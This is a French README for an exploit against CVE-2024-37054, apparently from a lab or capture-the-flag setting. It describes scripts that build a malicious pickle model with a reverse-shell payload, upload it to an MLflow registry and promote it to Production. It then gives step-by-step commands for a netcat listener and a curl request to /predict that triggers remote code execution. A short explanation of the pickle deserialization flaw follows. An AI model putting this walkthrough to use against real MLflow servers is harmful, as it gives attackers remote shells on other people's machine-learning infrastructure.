
Exploit pour CVE-2024-37054 : génère un modèle pickle malveillant, le téléverse sur MLflow et déclenche une exécution de code à distance via le point de terminaison /predict.
| Fichier | Objectif |
|---|
generate_model.py | Génère un model.pkl malveillant avec une charge utile de shell inversé |
upload_model.py | Téléverse le pickle dans MLflow et le promeut en Production |
sample.csv | Fichier CSV utilisé pour déclencher le point de terminaison /predict |
Modifiez generate_model.py et définissez votre IP tun0 :
python3 generate_model.py
nc -lvnp 4444
Modifiez upload_model.py :
MLFLOW sur http://127.0.0.1:5000MODEL_NAME sur le nom du modèle actif trouvé sur le domaine principalpython3 upload_model.py
Obtenez un nouveau cookie de session depuis l'application cliente, puis :
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
Le shell est reçu sur votre listener.
Désérialisation Pickle via le MLflow Model Registry
MLflow charge les modèles enregistrés en utilisant pickle.load() de Python. En téléversant un pickle conçu comme artefact de modèle et en le promouvant en Production, tout appel ultérieur à /predict désérialise la charge utile côté serveur, permettant une exécution de code à distance (RCE) non authentifiée en tant qu'utilisateur de l'application.